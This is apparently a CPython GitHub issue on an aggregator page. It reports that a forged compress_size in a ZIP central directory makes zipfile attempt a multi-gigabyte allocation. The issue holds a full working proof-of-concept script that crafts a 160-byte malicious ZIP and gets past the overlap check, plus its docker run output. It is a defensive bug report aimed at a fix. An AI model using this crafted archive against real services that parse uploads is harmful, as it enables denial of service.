python / python/cpython

Memory Exhaustion in zipfile via Forged compress_size

Ouverte
#151,307 1 commentaire 0 réactions 0 personnes assignées Voir sur GitHub

Personne n'a encore pris cette issue.

stdlib type-bug
Langage dominant
Python
Étoiles
77.2k
Forks
35.9k
Métriques de merge des PR
Métriques de PR en attente

Description

Bug report

Bug description:
Summary

A short ZIP file forces Python's zipfile module to attempt a ~2 GiB heap allocation.

Details

ZipExtFile._read2() passes a user-controlled compress_size from the central directory to self._fileobj.read(n). On 3.14 builds, ZipExtFile.MAX_N caps a single request at 1 GiB. On 3.15, this was corrected to (1 << 31) - 1 = ~2 GiB. A 160-byte crafted ZIP claiming compress_size=0xFFFFFFFE triggers a ~1 GiB (3.14) or ~2 GiB (3.15) allocation attempt.
Note: The overlap check is bypassed using two CD entries with the same filename and header_offset=0, the first entry (forged sizes) gets _end_offset == header_offset, triggering only a warning.

Reproducer
"""
Memory exhaustion in zipfile via crafted compress_size field.
"""

import resource
import struct
import sys
import tempfile
import zipfile


CLAIMED_SIZE = 0xFFFF_FFFE
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def craft_malicious_zip(claimed_compress_size: int) -> bytes:
    """
    Build a minimal valid ZIP with two CD entries.
    """
    filename = b"a.txt"
    file_data = b"x"
    real_size = len(file_data)

    local_header = struct.pack(
        "<4s2B4HL2L2H",
        b"PK\x03\x04",
        20, 0, 0, 0, 0, 0, 0,
        real_size, real_size,
        len(filename), 0,
    )

    cd_offset = len(local_header) + len(filename) + len(file_data)

    cd_entry_forged = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        claimed_compress_size,
        claimed_compress_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    cd_entry_normal = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        real_size,
        real_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    real_cd_size = (
        len(cd_entry_forged) + len(filename)
        + len(cd_entry_normal) + len(filename)
    )

    eocd = struct.pack(
        "<4s4H2LH",
        b"PK\x05\x06",
        0, 0, 2, 2,
        real_cd_size, cd_offset, 0,
    )

    return (
        local_header + filename + file_data
        + cd_entry_forged + filename
        + cd_entry_normal + filename
        + eocd
    )


def main():
    malicious_zip = craft_malicious_zip(CLAIMED_SIZE)

    with tempfile.NamedTemporaryFile(suffix=".zip") as tmp:
        tmp.write(malicious_zip)
        tmp.flush()

        try:
            with zipfile.ZipFile(tmp.name, "r") as zf:
                forged = zf.filelist[0]
                with zf.open(forged) as f:
                    f.read()
        except MemoryError:
            print(
                f"MemoryError from {len(malicious_zip)}-byte ZIP "
                f"with compress_size={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: zipfile rejected forged compress_size")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()

Due to how RLIMIT works, that's better to run the poc in a container.

❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
/work/poc.py:92: UserWarning: Overlapped entries: 'a.txt' (possible zip bomb)
  with zf.open(forged) as f:
MemoryError from 160-byte ZIP with compress_size=4,294,967,294
Impact

Memory Exhaustion

Linked issues

https://github.com/python/cpython/issues/141713

/cc @serhiy-storchaka

CPython versions tested on:

3.15

Operating systems tested on:

macOS, Linux

Linked PRs
  • gh-151509

Guide de contribution

Ouvrir le guide de contribution

Par où commencer

  1. Lisez l'issue en entier, puis le guide de contribution du projet.
  2. Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
  3. Forkez le dépôt et travaillez sur une branche.
  4. Ouvrez une pull request qui référence le numéro de l'issue.

Piste de recherche

Commencez par ZipExtFile._read2() dans le module zipfile et reproduisez le comportement avec le ZIP forgé fourni, dans la limite de mémoire indiquée. Consultez l’issue 141713 et la pull request gh-151509 pour connaître l’orientation actuelle. Le travail est terminé lorsque la compress_size falsifiée ne provoque plus la grande allocation ni l’épuisement de la mémoire démontrés.

Rédigé par le modèle d'indexation à partir du texte de l'issue.

Évaluation

Stack technique
python
Domaine
security
Type d'issue
Bug
Difficulté
4/5
Temps estimé
3-5 jours
Activité
À l'abandon
Clarté
Plutôt claire
Accessibilité débutants
25/100

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.